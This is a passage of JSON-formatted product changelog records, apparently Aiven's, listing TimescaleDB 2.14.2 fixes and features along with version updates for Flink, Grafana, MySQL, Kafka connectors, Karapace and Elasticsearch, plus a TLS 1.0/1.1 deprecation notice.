call"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba9c286e0378","_type":"block","children":[{"_key":"60e19e1a9d570","_type":"span","marks":["strong"],"text":"More new features"}],"markDefs":[],"style":"normal"},{"_key":"7afd4243cd70","_type":"block","children":[{"_key":"788329e5a4810","_type":"span","marks":[],"text":"Add views for per chunk compression settings "},{"_key":"788329e5a4811","_type":"span","marks":["be1b898002c1"],"text":"#6630"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"be1b898002c1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6630"}],"style":"normal"},{"_key":"13eeee56d467","_type":"block","children":[{"_key":"85a734cfd96d0","_type":"span","marks":[],"text":"Add plan-time chunk exclusion for real-time CAggs "},{"_key":"85a734cfd96d1","_type":"span","marks":["42da5a309db6"],"text":"#6325"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"42da5a309db6","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6325"}],"style":"normal"},{"_key":"7d473434564d","_type":"block","children":[{"_key":"8d73de4e157e0","_type":"span","marks":[],"text":"Remove support for creating Continuous Aggregates with old format "},{"_key":"8d73de4e157e1","_type":"span","marks":["3c5f45081c9a"],"text":"#6360"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3c5f45081c9a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6360"}],"style":"normal"},{"_key":"ed1fad44dcb8","_type":"block","children":[{"_key":"b420a71cb03a0","_type":"span","marks":[],"text":"Add functions for determining compression defaults "},{"_key":"b420a71cb03a1","_type":"span","marks":["0948970edbd5"],"text":"#6386"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0948970edbd5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6386"}],"style":"normal"},{"_key":"1a2f1de7b165","_type":"block","children":[{"_key":"cb687189c0dd0","_type":"span","marks":[],"text":"Remove multinode public API "},{"_key":"cb687189c0dd1","_type":"span","marks":["f8ea4ab06162"],"text":"#6410"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f8ea4ab06162","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6410"}],"style":"normal"},{"_key":"86982f82596c","_type":"block","children":[{"_key":"50a06a88de190","_type":"span","marks":[],"text":"Allow SQLValueFunction pushdown into compressed scan "},{"_key":"50a06a88de191","_type":"span","marks":["63695a788fc5"],"text":"#6440"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"63695a788fc5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6440"}],"style":"normal"},{"_key":"13a9539a94e1","_type":"block","children":[{"_key":"a45b0b5ac6260","_type":"span","marks":[],"text":"Support approximate hypertable size "},{"_key":"a45b0b5ac6261","_type":"span","marks":["174376bdd16b"],"text":"#6463"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"174376bdd16b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6463"}],"style":"normal"},{"_key":"cd56a4882597","_type":"block","children":[{"_key":"ea96914697200","_type":"span","marks":[],"text":"Make compression settings per chunk "},{"_key":"ea96914697201","_type":"span","marks":["db80ffa75ca1"],"text":"#6513"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db80ffa75ca1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6513"}],"style":"normal"},{"_key":"79b6061cfc34","_type":"block","children":[{"_key":"2fbdc1274aea0","_type":"span","marks":[],"text":"Remove reindex_relation from recompression "},{"_key":"2fbdc1274aea1","_type":"span","marks":["6147168b9da2"],"text":"#6529"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6147168b9da2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6529"}],"style":"normal"},{"_key":"1fc273b0318d","_type":"block","children":[{"_key":"afd80627f5e80","_type":"span","marks":[],"text":"Fix if_not_exists behavior for CAgg policy with NULL offsets "},{"_key":"afd80627f5e81","_type":"span","marks":["67a5d5d22562"],"text":"#6531"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"67a5d5d22562","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6531"}],"style":"normal"},{"_key":"cb6be60afec7","_type":"block","children":[{"_key":"2457488ad4b00","_type":"span","marks":[],"text":"Remove restrictions for changing compression settings "},{"_key":"2457488ad4b01","_type":"span","marks":["9a01adf5516d"],"text":"#6545"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9a01adf5516d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6545"}],"style":"normal"},{"_key":"0f6559c339a5","_type":"block","children":[{"_key":"47b84dd2969f0","_type":"span","marks":[],"text":"Limit tuple decompression during DML operations "},{"_key":"47b84dd2969f1","_type":"span","marks":["4ae35cdb4fc8"],"text":"#6566"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4ae35cdb4fc8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6566"}],"style":"normal"},{"_key":"3724534802c1","_type":"block","children":[{"_key":"0efb09f17a0a0","_type":"span","marks":[],"text":"Change compress_chunk and decompress_chunk to idempotent version by default "},{"_key":"0efb09f17a0a1","_type":"span","marks":["5d1a657c34a4"],"text":"#6579"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5d1a657c34a4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6579"}],"style":"normal"},{"_key":"06c1e4f77139","_type":"block","children":[{"_key":"d115b911b54e0","_type":"span","marks":[],"text":"Add LWLock for OSM usage in loader "},{"_key":"d115b911b54e1","_type":"span","marks":["9ce8efd0395b"],"text":"#6608"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9ce8efd0395b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6608"}],"style":"normal"},{"_key":"4f8fae19a8b7","_type":"block","children":[{"_key":"4c8276de74a50","_type":"span","marks":[],"text":"Deprecate recompress_chunk "},{"_key":"4c8276de74a51","_type":"span","marks":["76f79de75970"],"text":"#6609"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"76f79de75970","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6609"}],"style":"normal"},{"_key":"5435033b4c0c","_type":"block","children":[{"_key":"06852a5063480","_type":"span","marks":[],"text":"Add optional recompress argument to compress_chunk "},{"_key":"06852a5063481","_type":"span","marks":["c9c39c073705"],"text":"#6609"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c9c39c073705","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6609"}],"style":"normal"},{"_key":"81e056496644","_type":"block","children":[{"_key":"a40e5e03606a0","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"b8f43ea35df0","_type":"block","children":[{"_key":"9080c6a4fd790","_type":"span","marks":[],"text":"Fix segfault in cagg_validate_query "},{"_key":"9080c6a4fd791","_type":"span","marks":["26e93cb852c0"],"text":"#6655"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"26e93cb852c0","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6655"}],"style":"normal"},{"_key":"738428401896","_type":"block","children":[{"_key":"5f945bb8b2730","_type":"span","marks":[],"text":"Fix refresh on empty CAgg with variable bucket "},{"_key":"5f945bb8b2731","_type":"span","marks":["1356997cc925"],"text":"#6660"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1356997cc925","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6660"}],"style":"normal"},{"_key":"fadf633dcc60","_type":"block","children":[{"_key":"52b034cc2a510","_type":"span","marks":[],"text":"Don't try to compress osm chunks "},{"_key":"52b034cc2a511","_type":"span","marks":["60c8318c8111"],"text":"#6670"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"60c8318c8111","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6670"}],"style":"normal"},{"_key":"4c8d3c04da92","_type":"block","children":[{"_key":"285f7387d8cb0","_type":"span","marks":[],"text":"Fix extension update of compressed hypertables with dropped columns "},{"_key":"285f7387d8cb1","_type":"span","marks":["6e0ea923b70b"],"text":"#6636"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6e0ea923b70b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6636"}],"style":"normal"},{"_key":"92f6f6aab98a","_type":"block","children":[{"_key":"a35ec8efdb3a0","_type":"span","marks":[],"text":"Reset sequence numbers on non-rollup compression "},{"_key":"a35ec8efdb3a1","_type":"span","marks":["fe04461cdeec"],"text":"#6637"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fe04461cdeec","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6637"}],"style":"normal"},{"_key":"5aebf30d3aba","_type":"block","children":[{"_key":"4c8d1cda6fc20","_type":"span","marks":[],"text":"Disable default indexscan for compression "},{"_key":"4c8d1cda6fc21","_type":"span","marks":["c5df9a5fad08"],"text":"#6639"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c5df9a5fad08","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6639"}],"style":"normal"},{"_key":"e807c4f205a1","_type":"block","children":[{"_key":"85408cc5df910","_type":"span","marks":[],"text":"Fix DecompressChunk path generation with per chunk settings "},{"_key":"85408cc5df911","_type":"span","marks":["828ccc641135"],"text":"#6651"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"828ccc641135","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6651"}],"style":"normal"},{"_key":"24419a1ba3b3","_type":"block","children":[{"_key":"035acf336eff0","_type":"span","marks":[],"text":"Inefficient join plans on compressed hypertables "},{"_key":"035acf336eff1","_type":"span","marks":["1b1b9e38fb8c"],"text":"#6541"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1b1b9e38fb8c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6541"}],"style":"normal"},{"_key":"b59293b9123e","_type":"block","children":[{"_key":"5187e607586e0","_type":"span","marks":[],"text":"Enable now() plantime constification with BETWEEN "},{"_key":"5187e607586e1","_type":"span","marks":["34488749d2f1"],"text":"#6491"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"34488749d2f1","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6491"}],"style":"normal"},{"_key":"74f3a01d98dc","_type":"block","children":[{"_key":"ad336a6cdc0d0","_type":"span","marks":[],"text":"Fix create_hypertable referenced by fk succeeds "},{"_key":"ad336a6cdc0d1","_type":"span","marks":["24c74c9a7f19"],"text":"#6494"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"24c74c9a7f19","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6494"}],"style":"normal"},{"_key":"5defa58e000a","_type":"block","children":[{"_key":"1e001873da980","_type":"span","marks":[],"text":"Suboptimal query plans when using time_bucket with query parameters "},{"_key":"1e001873da981","_type":"span","marks":["c5a67bb3236f"],"text":"#6498"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c5a67bb3236f","_type":"link","href":"https://github.com/timescale/timescaledb/issues/6498"}],"style":"normal"},{"_key":"aaded7fac943","_type":"block","children":[{"_key":"91ebea3c10ca0","_type":"span","marks":[],"text":"time_bucket_gapfill with timezones doesn't handle daylight savings "},{"_key":"91ebea3c10ca1","_type":"span","marks":["eb24908c77ad"],"text":"#6507"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"eb24908c77ad","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6507"}],"style":"normal"},{"_key":"43514c20bc85","_type":"block","children":[{"_key":"5024eb7a05e70","_type":"span","marks":[],"text":"Make extension state available through function "},{"_key":"5024eb7a05e71","_type":"span","marks":["75c8379d43c5"],"text":"#6509"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"75c8379d43c5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6509"}],"style":"normal"},{"_key":"d2e33640abee","_type":"block","children":[{"_key":"408a925549b50","_type":"span","marks":[],"text":"Log extension state changes "},{"_key":"408a925549b51","_type":"span","marks":["e9b332dbc2a8"],"text":"#6512"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e9b332dbc2a8","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6512"}],"style":"normal"},{"_key":"e53c2c7f120d","_type":"block","children":[{"_key":"aa265945b9a10","_type":"span","marks":[],"text":"Disallow triggers on CAggs "},{"_key":"aa265945b9a11","_type":"span","marks":["433f0cfdb4d4"],"text":"#6522"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"433f0cfdb4d4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6522"}],"style":"normal"},{"_key":"154ba15cd4e5","_type":"block","children":[{"_key":"e111a6a509700","_type":"span","marks":[],"text":"Reduce locking level on compressed chunk index during segmentwise recompression "},{"_key":"e111a6a509701","_type":"span","marks":["f0f1a4866b5c"],"text":"#6523"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f0f1a4866b5c","_type":"link","href":"https://github.com/timescale/timescaledb/issues/6523"}],"style":"normal"},{"_key":"d64423fc67a0","_type":"block","children":[{"_key":"486368247c5c0","_type":"span","marks":[],"text":"Fix if_not_exists behavior for CAgg policy with NULL offsets "},{"_key":"486368247c5c1","_type":"span","marks":["c47e277bdeee"],"text":"#6531"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c47e277bdeee","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6531"}],"style":"normal"},{"_key":"2120c82c376e","_type":"block","children":[{"_key":"f7fe6d4e771c0","_type":"span","marks":[],"text":"Fix pathtarget adjustment for MergeAppend paths in aggregation pushdown code "},{"_key":"f7fe6d4e771c1","_type":"span","marks":["94e195fdcd6b"],"text":"#6571"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"94e195fdcd6b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6571"}],"style":"normal"},{"_key":"785de2733ca3","_type":"block","children":[{"_key":"a9de720ef52e0","_type":"span","marks":[],"text":"Fix compressed chunk not found during upserts "},{"_key":"a9de720ef52e1","_type":"span","marks":["0d54494a0b4f"],"text":"#6575"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0d54494a0b4f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6575"}],"style":"normal"},{"_key":"3a96196b7bae","_type":"block","children":[{"_key":"d1e45288ee640","_type":"span","marks":[],"text":"Fix recompression policy ignoring partially compressed chunks "},{"_key":"d1e45288ee641","_type":"span","marks":["42347dd8ac0f"],"text":"#6592"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"42347dd8ac0f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6592"}],"style":"normal"},{"_key":"a522b97bced7","_type":"block","children":[{"_key":"f4a6d3bf92bd0","_type":"span","marks":[],"text":"Ensure qsort comparison function is transitive "},{"_key":"f4a6d3bf92bd1","_type":"span","marks":["a0a23bd62f8a"],"text":"#6610"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a0a23bd62f8a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6610"}],"style":"normal"}],"publishedAt":"2024-03-22T09:38:00.000Z","tags":[{"_key":"9df964d4e9a2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.14.2 for Aiven for PostgreSQL® released"} {"_createdAt":"2022-10-27T09:03:21Z","_i18n_lang":"en","_id":"df7d5714-32a6-4417-ae8f-4a5c5ad515f1","_rev":"7JYD5XroFCjaK9NJzk3koY","_type":"changelog","_updatedAt":"2022-10-27T09:03:21Z","changeType":"","description":[{"_key":"93d82d66-1187-4498-8708-657fa4f7ca08","_type":"block","children":[{"_key":"b94f9a52-d6c2-461f-bae0-fabab61f1996","_type":"span","marks":[],"text":"It is powered by the open source framework Apache Flink, a distributed processing engine for stateful computations over data streams. Visit our "},{"_key":"9bf62615-1c7b-44a7-b3a0-2c4960c225e6","_type":"span","marks":["m12455447044981"],"text":"developer portal"},{"_key":"e2092f23-ada7-42f4-a440-736880a13ef7","_type":"span","marks":[],"text":" for more info."}],"markDefs":[{"_key":"m12455447044981","_type":"link","href":"https://developer.aiven.io/docs/products/flink"}],"style":"normal"}],"publishedAt":"2021-12-01T00:00:00.000Z","tags":[{"_key":"a8941402-3591-4a5c-aeeb-1db291f6a766","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Aiven for Apache Flink is a new service launched on Aiven as beta"} {"_createdAt":"2022-10-27T09:08:38Z","_i18n_lang":"en","_id":"e0c55eca-c110-4573-bcb4-e3f998814473","_rev":"Dn65xz5Z1k22g7BhlztL4u","_type":"changelog","_updatedAt":"2022-10-27T09:08:38Z","changeType":"","description":[{"_key":"2254d261-4b7a-4f73-b78a-32200cd7705a","_type":"block","children":[{"_key":"ff917d7c-a482-4002-8f49-6b3efed70de2","_type":"span","marks":[],"text":"Please see the "},{"_key":"c4b263e1-059a-4e1f-8f95-7c53c4150f80","_type":"span","marks":["m5182014440506"],"text":"release notes"},{"_key":"37ddb8a5-c3ff-49e2-9214-a44dba03051f","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m5182014440506","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-1-x/15772"}],"style":"normal"}],"publishedAt":"2019-04-25T00:00:00.000Z","tags":[{"_key":"ce519312-5a3d-495e-a718-5b06bc4a5f33","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.1.4 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:10:39Z","_i18n_lang":"en","_id":"e10576f6-8149-4c78-a4c3-694b9dcc62f1","_rev":"tsRucK8MIVb3810duaE7mW","_type":"changelog","_updatedAt":"2022-10-27T09:10:39Z","changeType":"","description":[{"_key":"a14178f6-6030-4c1a-ae73-c137bd9e526a","_type":"block","children":[{"_key":"17510fc7-74ae-4db7-bdc7-02bc60e6ab10","_type":"span","marks":[],"text":"Please contact Aiven support to enable or disable TLS 1.0 or 1.1 for running services."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-02-15T00:00:00.000Z","tags":[],"title":"New Aiven services no longer allow TLS 1.0 or 1.1 connections, requiring TLS 1.2 new secure communications"} {"_createdAt":"2022-10-27T09:07:55Z","_i18n_lang":"en","_id":"e1487a5e-1f70-4260-9b3a-2aaef3ad9ddc","_rev":"ri8ZjU8zRgh6Niwltv1Cfd","_type":"changelog","_updatedAt":"2022-10-27T09:07:55Z","changeType":"","description":[{"_key":"3e6285df-3beb-4aa0-8ffc-30ddd794a353","_type":"block","children":[{"_key":"ba2a250a-0aea-4893-ba15-770d05688715","_type":"span","marks":[],"text":"Please see the "},{"_key":"a5148d51-cb41-48f9-97e4-412d4f50f656","_type":"span","marks":["m9043169499982"],"text":"Release Notes"},{"_key":"d2bd913f-f0ec-4a31-a28a-d5040f928198","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m9043169499982","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-17.html"}],"style":"normal"}],"publishedAt":"2019-09-26T00:00:00.000Z","tags":[{"_key":"6935293a-d6f1-48d6-b70a-67508e1d713c","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.17 now available"} {"_createdAt":"2022-10-27T09:10:00Z","_i18n_lang":"en","_id":"e1b53ef4-9054-4cda-aaf1-9a6b21f13521","_rev":"WYf15BwQWb3V4yHfbxPUhf","_type":"changelog","_updatedAt":"2022-10-27T09:10:00Z","changeType":"","description":[{"_key":"9ab4e2dc-504e-45e0-9b9f-4c3c727bf443","_type":"block","children":[{"_key":"fc397327-c448-409c-9b99-6fc6ccd0e12c","_type":"span","marks":[],"text":"A maintenance update is available for existing customersZ and can be applied on the Aiven Dashboard."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-08-02T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch now has versions 5.6.10 and 6.3.2 available"} {"_createdAt":"2022-10-27T09:05:24Z","_i18n_lang":"en","_id":"e1e3b632-197b-4f07-8c79-c428c4ec7261","_rev":"zF7BMhNhvYpWtPMfHNNBV0","_type":"changelog","_updatedAt":"2022-10-27T09:05:24Z","changeType":"","description":[{"_key":"caeed049-c9ab-4e18-a489-895d8839a1ad","_type":"block","children":[{"_key":"2599aff4-475d-46b1-b826-958f8692b024","_type":"span","marks":[],"text":"Please see the "},{"_key":"bb7eda11-db3e-44f6-9f5c-18aef3cb3df8","_type":"span","marks":["m9906376724215"],"text":"introduction"},{"_key":"8454834a-2e08-4569-9019-a1e8ecfd23de","_type":"span","marks":[],"text":" and the getting started guides for "},{"_key":"e3fce104-d4d5-4f6d-8310-efbd9ff9b69a","_type":"span","marks":["m14806705516926"],"text":"console"},{"_key":"107c9e98-06cc-4c89-95a5-2f0d0bb3ab7c","_type":"span","marks":[],"text":" and "},{"_key":"79d1a0d0-e0a3-4e91-a712-18e317b47185","_type":"span","marks":["m14749111471214"],"text":"command line client"},{"_key":"873be2c2-836b-4437-a06e-6ef41f395a92","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9906376724215","_type":"link","href":"https://help.aiven.io/en/articles/4693636-billing-groups"},{"_key":"m14806705516926","_type":"link","href":"https://help.aiven.io/en/articles/4634847-getting-started-with-billing-groups"},{"_key":"m14749111471214","_type":"link","href":"https://help.aiven.io/en/articles/4720981-using-billing-groups-via-cli"}],"style":"normal"}],"publishedAt":"2020-12-21T00:00:00.000Z","tags":[],"title":"Manage account project billing efficiently using billing groups"} {"_createdAt":"2022-10-27T09:07:28Z","_i18n_lang":"en","_id":"e2349d54-6fe1-4f3d-813c-0be603392973","_rev":"Cf2WlCE8X5IGBBi7ld1IBm","_type":"changelog","_updatedAt":"2022-10-27T09:07:28Z","changeType":"","description":[{"_key":"db45a712-a6e5-41da-8104-23a2b021c183","_type":"block","children":[{"_key":"1d77c64c-9bd0-4322-9f7e-221c512a25de","_type":"span","marks":[],"text":"Please see the "},{"_key":"d334fd7a-5593-402d-bef8-3a573ddaa23a","_type":"span","marks":["m9945776526617"],"text":"release notes"},{"_key":"b255c387-53a2-4f89-b9eb-48d1e20cb543","_type":"span","marks":[],"text":" and the "},{"_key":"ffb0feeb-3413-47f0-842f-a9dcfb13f268","_type":"span","marks":["m11921764835802"],"text":"documentation"},{"_key":"b93f9794-ff77-4e31-be0c-297b1d08142d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9945776526617","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v0.2.0"},{"_key":"m11921764835802","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms"}],"style":"normal"}],"publishedAt":"2019-11-06T00:00:00.000Z","tags":[{"_key":"001e09ef-c36e-4183-9e7f-5a3a07e770ef","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 0.2.0"} {"_createdAt":"2022-10-27T09:11:17Z","_i18n_lang":"en","_id":"e23ec466-1232-4c86-a5a5-01151c092c92","_rev":"ri8ZjU8zRgh6Niwltv1F2t","_type":"changelog","_updatedAt":"2022-10-27T09:11:17Z","changeType":"","description":[{"_key":"d6b6b11c-a4fe-4ab4-bc6f-b312877cc24a","_type":"block","children":[{"_key":"a9171908-6532-47e8-b19b-2399327fec61","_type":"span","marks":[],"text":"These can be set through "},{"_key":"68209628-529a-4105-b600-502e05f641a8","_type":"span","marks":["code"],"text":"user_config"},{"_key":"4e774ecc-57d2-456b-ac57-f8219e0d2426","_type":"span","marks":[],"text":" with the Aiven command-line client. For a description of what they control see the Apache Kafka "},{"_key":"4423033c-952b-4656-8801-384d6d6f2d2d","_type":"span","marks":["m16137276067385"],"text":"documentation"},{"_key":"a3c9a231-7521-4366-a924-35645adda7f1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16137276067385","_type":"link","href":"https://kafka.apache.org/documentation/#configuration"}],"style":"normal"}],"publishedAt":"2017-09-21T00:00:00.000Z","tags":[{"_key":"ec946c74-c444-4fd5-aa78-f2ce3d27a23d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Allow setting \u003ccode\u003emin.insync.replicas\u003c/code\u003e and \u003ccode\u003eretention.bytes\u003c/code\u003e options for Kafka topics through the \u003ccode\u003euser_config\u003c/code\u003e interface"} {"_createdAt":"2022-10-27T09:10:59Z","_i18n_lang":"en","_id":"e35b22af-9141-4be9-9601-57b226047bb8","_rev":"RS2LhK1JP0SKK0JvX1RSD1","_type":"changelog","_updatedAt":"2022-10-27T09:10:59Z","changeType":"","publishedAt":"2017-12-21T00:00:00.000Z","tags":[{"_key":"ff30d8c5-152a-4b2c-8446-d7982fd51c47","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka user and topic Access Control List (ACL) listing handling performance was greatly improved for large access control lists."} {"__i18n_lang":"en","_createdAt":"2022-12-02T16:07:52Z","_id":"e38e960f-633e-4580-9480-e458591dfdc3","_rev":"6wJ6OxF1mPB2I3zegYXPcd","_type":"changelog","_updatedAt":"2023-02-01T09:50:43Z","changeType":"improved","description":[{"_key":"44bab951481d","_type":"block","children":[{"_key":"9c7c0cc5b2e10","_type":"span","marks":[],"text":"Aiven's S3 Sink Connector for Apache Kafka has been updated to version 2.12.1. This release includes a fix for a bug that caused unnecessary message duplicates in certain circumstances. For more details, see the "},{"_key":"901e7446c906","_type":"span","marks":["6ad947fd6124"],"text":"S3 connector for Apache Kafka changelog"},{"_key":"1550bcdb3c6b","_type":"span","marks":[],"text":" and the "},{"_key":"d5513c6db1e5","_type":"span","marks":["39946b5bf85f"],"text":"S3 connector for Apache Kafka documentation"},{"_key":"03b6838a1754","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6ad947fd6124","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.12.1"},{"_key":"39946b5bf85f","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.12.1"}],"style":"normal"}],"publishedAt":"2022-11-28T16:07:00.000Z","tags":[{"_key":"574f159e6d2a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's S3 Sink Connector for Apache Kafka version 2.12.1."} {"_createdAt":"2022-10-27T09:09:19Z","_i18n_lang":"en","_id":"e3cea2b0-4438-47d4-a006-94892e7cf57d","_rev":"WYf15BwQWb3V4yHfbxPM5T","_type":"changelog","_updatedAt":"2022-10-27T09:09:19Z","changeType":"","description":[{"_key":"7ac5a62c-2448-4dcd-8c41-5865d275c78e","_type":"block","children":[{"_key":"ae5fdc29-5d8c-4e87-9f1c-7d034625421c","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"513880f1-be6a-4178-b945-f6b189c44311","_type":"span","marks":["m12713926749664"],"text":"Elasticsearch 5.6.13"},{"_key":"3d7039d3-e3bc-45dd-9a0c-1216baed2dac","_type":"span","marks":[],"text":", and "},{"_key":"97b24c31-c9d8-495d-9995-ece37710245b","_type":"span","marks":["m3214111325265"],"text":"Elasticsearch 6.4.3"},{"_key":"dc425960-58f5-4ca0-a323-0e08829cd2da","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m12713926749664","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/5.6/release-notes-5.6.13.html"},{"_key":"m3214111325265","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/6.4/release-notes-6.4.3.html"}],"style":"normal"}],"publishedAt":"2018-11-09T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 5.6.13 and 6.4.3 support is now available"} {"_createdAt":"2022-10-27T09:02:51Z","_i18n_lang":"en","_id":"e5537cc3-ef03-442b-b0b8-2440417b1218","_rev":"RS2LhK1JP0SKK0JvX1PbX1","_type":"changelog","_updatedAt":"2022-10-27T09:02:51Z","changeType":"","publishedAt":"2022-03-09T00:00:00.000Z","tags":[{"_key":"83bc07eb-c67d-4651-8143-924f4e1eae83","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Updated Aiven For PostgreSQL extension pg_cron to version 1.4.1."} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:51:09Z","_id":"e651b4b4-ed76-4aa0-a8f0-852555a852e4","_rev":"cmQvgZcsUwgFEQbM0TLfUN","_type":"changelog","_updatedAt":"2022-12-22T10:44:42Z","changeType":"improved","description":[{"_key":"13fd9b2d38df","_type":"block","children":[{"_key":"eb602179a1170","_type":"span","marks":[],"text":"Along with several fixes, this release of Karapace introduces the feature where the schema record key format is corrected to conform to the expected format so the schemas topic can be compacted accordingly. During restore of the backup, each Kafka record that did not comply with the expected format is now corrected. This release also includes new metrics for observability. For more information, see "},{"_key":"eb602179a1171","_type":"span","marks":["d61f35eac695"],"text":"Karapace release notes"},{"_key":"eb602179a1172","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"d61f35eac695","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.3"}],"style":"normal"}],"publishedAt":"2022-10-25T14:51:00.000Z","tags":[{"_key":"5ff18abf0515","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to 3.3.3. "} {"_createdAt":"2022-10-27T09:09:22Z","_i18n_lang":"en","_id":"e6b8580a-1133-4758-a39c-41806ea3ebc6","_rev":"GNtcCQgxf3P3DqpLt1k2PN","_type":"changelog","_updatedAt":"2022-10-27T09:09:22Z","changeType":"","description":[{"_key":"2248ee90-b8d8-4b42-96e0-089faa16ad87","_type":"block","children":[{"_key":"b97b6177-3bd0-408a-8c04-569d561aa29c","_type":"span","marks":[],"text":"See the "},{"_key":"811aad49-85cf-4218-a0b4-1a42573bc120","_type":"span","marks":["m5543125622834"],"text":"Cassandra service 